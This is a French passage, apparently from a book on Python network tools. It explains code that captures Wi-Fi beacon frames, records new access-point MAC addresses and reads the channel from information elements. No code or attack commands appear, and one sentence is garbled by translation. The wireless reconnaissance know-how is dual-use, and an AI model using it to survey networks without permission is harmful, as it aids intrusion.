une autre condition en utilisant le numéro "0" pour le type de paquet qui fait référence à "Management Frame Packets", et le numéro "8" pour le
sous-type des paquets qui indique "Beacon Frames" . Dans la ligne suivante, nous faisons une troisième condition pour vérifier si l'adresse MAC du
paquet de trames Beacon est déjà dans la liste ou non. Si l'adresse MAC ne fonctionne pas t existent dans notre liste, nous l'ajoutons à notre liste.
Ensuite, nous continuons en imprimant les informations que nous avons extraites du paquet qui indique ce qui suit:
MAC (BSSID).
ord (fm [Dot11Elt: 3] .info): ord est une fonction utilisée pour convertir des caractères de texte en sa représentation de code de caractère.
Pour comprendre ce qu'est Dot11Elt, vous devez savoir que lorsque les stations commencent à se parler, elles envoient également une
mine d'informations supplémentaires appelées éléments d'information. Chacun des paquets d'éléments d'information a un numéro
d'identification et chaque paquet spécifique a sa propre signification. Ce que nous recherchons, ce sont les informations
313